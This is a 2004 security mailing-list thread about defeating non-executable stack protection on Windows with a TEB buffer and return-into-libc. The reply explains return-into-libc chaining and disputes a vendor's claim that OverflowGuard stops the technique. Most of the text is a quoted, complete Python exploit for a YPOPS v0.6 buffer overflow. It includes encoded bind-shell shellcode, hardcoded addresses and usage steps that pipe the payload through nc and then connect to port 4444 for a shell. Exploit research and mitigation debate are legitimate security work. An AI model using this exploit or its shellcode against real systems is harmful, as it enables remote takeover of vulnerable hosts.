Re[2]: TEB buffer+Return Into LIBC based string copy exploitation

[3APA3A <3APA3A () SECURITY NNOV RU>]

Dear Paul Webster,

Then  using  return-into-libc  technique,  there  is  no  need  to place
executable  code  in  writable  memory, because there is no shellcode at
all.

Instead, stack is composed in the way to return (return pointer is saved
on  stack  with  functions  argument,  as  you  may be know) into one of
standard  functions. Then 1st standard function returns, it returns into
another standard function because it's address and arguments are also on
stack.  Stack looks like Sandwich in this case with preconfigured return
addresses  and  arguments. This way you can fully control execution flow
without  any  executable  code using onle the code of standard functions
that are already in executable memory. Of cause, it little bit hard (but
yet   theoretically   possible)  to  create  something  with  loops  and
conditions, but it's not required for simple shell binding exploit.

It's  very  strange,  that  "OverflowGuard" creators are not aware about
this technique, introduced by Solar Designer many years ago...


--Thursday, November 11, 2004, 9:28:24 PM, you wrote to vuln-dev () securityfocus com:

PW> Contrary to the authors claim this method does not defeat protections like
PW> OverflowGuard.  OverflowGuard makes all writeable memory non-executable in a
PW> protected process.  Therefore, since the TEB is writeable memory this method
PW> will fail when used against a OverflowGuard protected process.  The 
PW> execution of the TEB will be detected and the process will be terminated
PW> because the TEB is writeable memory.  OverflowGuard does not protect the
PW> program YPOPS by default, therefore, most likely the author's test wasn't
PW> performed against a YPOPS process protected by OverflowGuard which is why he
PW> believes his exploit works against OverflowGuard.  If he took the time to
PW> make sure OverflowGuard was protecting YPOPS he surely would have seen that
PW> this method does not defeat OverflowGuard.

PW> -Paul Webster
PW> Data Security Software Inc.
PW> OverflowGuard 1.4 --  http://www.datasecuritysoftware.com



PW> ----- Original Message ----- 
PW> From: "varun uppal" <varunuppal () linuxmail org>
PW> To: <vuln-dev () securityfocus com>
PW> Sent: Wednesday, November 10, 2004 6:38 AM
PW> Subject: TEB buffer+Return Into LIBC based string copy exploitation




PW> Hi,

PW> I have put together some info on using the TEB (Thread Execution Block)
PW> Buffer and libc for exploiting NON-EXEC STACK Win32 environments. I havent
PW> come across any major public exploit using this method nor much of 
PW> information on the same. The shell coders handbook was of great help
PW> though.Thought it would be useful for someone interested in the same.

PW> EXPLOIT:

PW> #!/usr/bin/env python
PW> """
PW> Exploit for an old BoF in YPOPS v0.6 discovered by Behrang Fouldai
PW> Coded as a PoC for defeating NoN-Exec stacks and stack protections
PW> like overflow guard etc.
PW> This exploit utilizes the 520 byte buffer in the TEB (i.e is used for
PW> ANSI to Unicode String operations). The EIP is overwritten with the address
PW> of lstrcpyA accompanied by the return address, the source and destination
PW> buffer
PW> addresses.
PW> On successfull EIP overwrite the lstrcpyA copies the attacker supplied
PW> payload to
PW> the address in the TEB, following which the executions proceeds from there
PW> (since it
PW> is the return addr that we supplied). Came across this usefull concept in
PW> "The shell coders
PW> handbook". Can be used for 1) Bypassing stack protections.
PW>    2) When none of the regs (ecx,ebx, eax, esp etc)
PW> point to our payload.

PW> BUFFER LAYOUT

PW> |payload | addr of lstrcpyA | addr of buff in TEB | addr of buff in TEB |
PW> addr of our payload |
PW> ret addr for destination for Addr of our
PW> execution          Payload Payload


PW> Tested on Win2K Adv Server with no patches and overflowguard. This is
PW> heavily dependent on the addresses which
PW> must be modified according to the versions.
PW> 0x77E87E39 --> Address of lstrcpyA from kernel32.dll
PW> 0x7ffDE1BC --> Address in TEB buffer to which payload will be copied and
PW> execution
PW>      commences
PW> 0x00E6FAB8 --> Address of Payload on stack

PW> Shellcode from Sergio alvarez's paper on win32 exploitatiion (gr8 paper).

PW> Coded by Varun Uppal (varunuppal () linuxmail org)
PW> greetz to JhaanGi, swatkat_razor, saTurn444 and metasploit crew. gr8 work

PW> USAGE:

PW> python pop_exp2.py | nc "addr of target host" "target port"

PW> Telnet "addr of target host" 4444   for cmd prompt
PW> """

PW> import struct

PW> exp =
PW> "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
PW> exp +=
PW> "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
PW> exp +=
PW> "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
PW> exp +=
PW> "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
PW> exp +=
PW> "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
PW> exp +=
PW> "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
PW> exp +=
PW> "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
PW> exp +=
PW> "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
PW> exp +=
PW> "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
PW> exp +=
PW> "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
PW> exp +=
PW> "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
PW> exp +=
PW> "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
PW> exp +=
PW> "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
PW> exp +=
PW> "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
PW> exp +=
PW> "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
PW> exp +=
PW> "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
PW> exp +=
PW> "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
PW> exp +=
PW> "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
PW> exp +=
PW> "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
PW> exp +=
PW> "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
PW> exp +=
PW> "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
PW> exp +=
PW> "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
PW> exp +=
PW> "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
PW> exp +=
PW> "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
PW> exp +=
PW> "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"


PW> print '\x90'*10+exp+'\x90'*96+ struct.pack('<L', 
PW> 0x77e87e39)+struct.pack('<L', 0x7ffde1bc)+struct.pack('<L', 
PW> 0x7ffde1bc)+'\xb8'+'\xfa'+'\xe6'+'\x00'




-- 
~/ZARAZA
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